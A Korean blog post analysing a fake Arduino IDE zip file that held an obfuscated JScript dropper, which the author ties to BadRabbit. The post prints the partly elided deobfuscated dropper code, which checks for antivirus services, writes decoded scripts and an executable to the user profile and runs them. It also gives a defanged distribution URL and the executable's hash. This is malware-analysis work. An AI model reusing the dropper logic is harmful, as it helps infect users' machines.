qingfro9님의 블로그 입니다.

[악성코드][분석]아두이노_프로그램.zip 본문

정보보안/악성코드

[악성코드][분석]아두이노_프로그램.zip

qingfro9 2018. 9. 15. 02:27

오늘은 즐거운 김치콘 컨퍼런스 🙂 2번의 기회를 개인 사정으로 못갔다가 오늘 드디어!! 갔다. 그것도 서울에서 해서 참 다행 ㅠㅠㅋㅋ


너무 일찍가서 커피 한잔 하고 컨퍼런스 참석. 이번 뱃지는 아두이노를 사용하는 방식이라서 컨퍼런스가 끝나고 집에서 코드를 짤려는데! 이게 뭔가? 아두이노 IDE 받는 속도가 너무 느리다.. 그래서 막 업로드된 다른 사이트를 찾다가 우연히 아래 zip 파일을 찾게 된 것.!

다운은 아래 사이트에서 받은거 같은데... 이런 화면이 아니였는데, 지금들어가니까 스크립트도 없고..흠.. 여튼 내가 기록을 잘못했을 수도 있지만 아래 링크로 메모를 해놨으니..ㅎㅎ

http://www[.]construccionesjoysa[.]es/%EC%95%84%EB%91%90%EC%9D%B4%EB%85%B8-%ED%94%84%EB%A1%9C%EA%B7%B8%EB%9E%A8-%EB%8B%A4%EC%9A%B4%EB%A1%9C%EB%93%9C/


아래파일이 그 사이트에서 받은 zip 파일이다.

(파일은 다 제거~)



zip 파일을 열면 아래 처럼 js 파일이 있다.. ㅋㅋ 다운받는 용량부터가 아주 분석하고 싶게 생겼다.(작아서 좋아요)



열어보면 word wrap해서 보면 다음과 같이 정규표현식으로 무언가 푸는 걸 볼 수 있다. 




코드 수정 약간 수정해서 덤프 하면 아래와 같은 스크립트 획득이 가능하다.


var mmkibko = new ActiveXObject('Scripting.FileSystemObject'); var cayrk = WScript.CreateObject("WScript.Shell"); var jgrzcax = cayrk.ExpandEnvironmentStrings("%USERPROFILE%")+"\\"; var ifpjtbkl = WScript.CreateObject("shell.application"); function dgbzp(turgtovj,enncjvo) { var cdlggcae=turgtovj.split("").reverse().join(""); pkmumh = ''; for ( i = 0; i < ( cdlggcae.length / 2 ); i++ ){ pkmumh += String.fromCharCode( '0x' + cdlggcae.substr( i * 2, 2 ) ); } var mxjasn = new ActiveXObject("ADODB.Stream"); mxjasn.Type = 2; mxjasn.Charset = "ISO-8859-1"; mxjasn.Open(); mxjasn.WriteText(pkmumh); mxjasn.SaveToFile(enncjvo,2); mxjasn.Close(); } function uzvgueabst(hfwhyzvjjk) { var enncjvo = WScript.CreateObject("WScript.Shell"); var dednalcbjbg = enncjvo.Exec(hfwhyzvjjk); var i=0; while (true) { if (dednalcbjbg.Status==0) { WScript.Sleep(100); i++; } else break; if (i==1800) { dednalcbjbg.Terminate(); break; } } } 
...
...악용될 수 있으니 이렇게 해야하나?
...

"'+jgrzcax+'qijvqpckaz.js"'); } catch(e){ } } if (mfyetevy('V3 Service')) { if (mmkibko.FileExists(jgrzcax+"ewnau.txt")) { dgbzp(caisngrpd,jgrzcax+'ggzcood.js'); try{ uzvgueabst('wscript.exe "'+jgrzcax+'ggzcood.js"'); } catch(e){ } } else { dgbzp('727272',jgrzcax+'ewnau.txt'); try{ uzvgueabst('wscript.exe "'+WScript.ScriptFullName+'"'); } catch(e){ } WScript.Quit(); } } dgbzp(oqjoranwl,jgrzcax+'iygsnhnat.exe'); if (mmkibko.FileExists(jgrzcax+"iygsnhnat.exe")) { try{ ifpjtbkl.ShellExecute('"'+jgrzcax+"iygsnhnat.exe"+'"', '', "", "open", 1); } catch(e){ } } END

이쁘게 정리하면 다음과 같다.

var mmkibko = new ActiveXObject('Scripting.FileSystemObject');
var cayrk = WScript.CreateObject("WScript.Shell");
var jgrzcax = cayrk.ExpandEnvironmentStrings("%USERPROFILE%") + "\\";
var ifpjtbkl = WScript.CreateObject("shell.application");

function dgbzp(turgtovj, enncjvo) {    #파일생성
    var cdlggcae = turgtovj.split("").reverse().join("");
    pkmumh = '';
    for (i = 0; i < (cdlggcae.length / 2); i++) {
        pkmumh += String.fromCharCode('0x' + cdlggcae.substr(i * 2, 2));
    }
    var mxjasn = new ActiveXObject("ADODB.Stream");
    mxjasn.Type = 2;
...
    mxjasn.Close();
}

function uzvgueabst(hfwhyzvjjk) {
    var enncjvo = WScript.CreateObject("WScript.Shell");
...
            i++;
        } else break;
        if (i == 1800) {
            dednalcbjbg.Terminate();
            break;
        }
    }
}

function mfyetevy(name) {
    var koqjzvjbqk = GetObject("winmgmts:").ExecQuery("SELECT * FROM Win32_Service WHERE Name='" + name + "'");
    yoijqrqpo = new Enumerator(koqjzvjbqk);
...
    if (xansyfa == 'Running') {
        return true;
    } else {
        return false;
    }
}
if (mfyetevy('avast! Antivirus')) {
    dgbzp(icjeqpom, jgrzcax + 'fygpd.js');
    try {
        uzvgueabst('wscript.exe "' + jgrzcax + 'fygpd.js"');
    } catch (e) {}
    WScript.sleep(15000);
}
if ((mfyetevy('WdNisSvc')) || (mfyetevy('WinDefend'))) {
    dgbzp(qzuizwju, jgrzcax + 'nkwqlmlgmzy.js');
...
        dgbzp('727272', jgrzcax + 'ewnau.txt');
        try {
            uzvgueabst('wscript.exe "' + WScript.ScriptFullName + '"');
        } catch (e) {}
        WScript.Quit();
    }
}
dgbzp(oqjoranwl, jgrzcax + 'iygsnhnat.exe');
if (mmkibko.FileExists(jgrzcax + "iygsnhnat.exe")) {
    try {
        ifpjtbkl.ShellExecute('"' + jgrzcax + "iygsnhnat.exe" + '"', '', "", "open", 1);
    } catch (e) {}
}
END

재미있는 코드가 보인다. 안티바이러스체크 코드


위 코드를 정리하면 다음과 같이 5가지 방식으로 스크립트 생성 실행, 실행파일 생성 실행 하는 것을 확인할 수 있다.

icjeqpom -> jgrzcaxfygpd.js
->avast! Antivirus

qzuizwju -> jgrzcaxnkwqlmlgmzy.js
-> WdNisSvc or WinDefend

caisngrpd -> jgrzcaxggzcood.js
-> V3 Service

scfsuzuwseh -> jgrzcaxqijvqpckaz.js
-> NisSrv

oqjoranwl -> jgrzcaxiygsnhnat.exe



EXE를 획득했다. 



---------------------------
체크섬 정보
---------------------------
이름: jgrzcaxiygsnhnat.exe
크기: 172032 바이트 (0 MB)

SHA256: 9A5A21B62DE58506E743302A96B9F5C4DB676B4FCC9DE5EC3B3DE9C79D3D05CA

---------------------------
OK   
---------------------------


왓? VT에 없었다. 

더 흥미롭다. 근데 불금에 이렇게 보고 있는 내자신이 싫어졌다. 시간도 새벽2시다 내일 컨퍼런스 가야하는데..
(망할 쇼미더머니가 재미있다. 다음주 루피vs 슈퍼비 기대된다. 개인적으로 슈퍼비를 좋아함)


floss를 사용해서 좀 유니크한 문자열들을 찾아보고 어떤놈인지 확인해보자! 이생각을했다.

유니크 문자열은 아래와 같았다.

7Hazifuyacizogi zanugi payacuci piwe tewavasalo gejuxosi0Dijoharu xayo gorayocice nehozogole hejosazobilo.No ziwovaze fabofa visefu no tudovo zawesojime Ta sujinefegecipa noluyifozoberi`Fezidawazuge ni yokuluyese puhe zimosafodidu sepejacuda gemuvafalomise yicuwatitakone yepijosudo+Takupovetemula vifiposoxo hilujusucu fususa
Bohe nihideyadi.Zeruleviya hudejitafepiji wage kuwi zumedeloci^Fucavoxi lituva bujupexoyixu hapiko sihemukuxa bikugikijabeso gutuyozukoni pihowu socegutosixu;Xacojofoda goluhitoki ho nizezigesojevi lohamocugorozo tahu+Jamijurukukiyi pucajetu tolorube womapebokadZumigesa kukixoyefepu wahujecugetu tunivilera luwafujojoxaru kulurazapune kucedolapedubo jirehe beta



457aa56b



1023442870282056


결론으론 BADRABBIT인 것같다. floss로 디코딩된 값이 동일한것을 보아..



그만, ㅠㅠㅠ 졸리다 오늘은 여기까지 뿅이다.. 어차피 하루 지나도 더 분석하거나 하진 않을태니 이만.. 

이 파일은 분석하면서 만들었던 파일 정리

이건 김치콘 뱃지로 만든거! 뭐라고 쓰지 하다가 ㅋㅋ 재미있게 만드신분들 많은데...이거나 할걸 ㅠ



Comments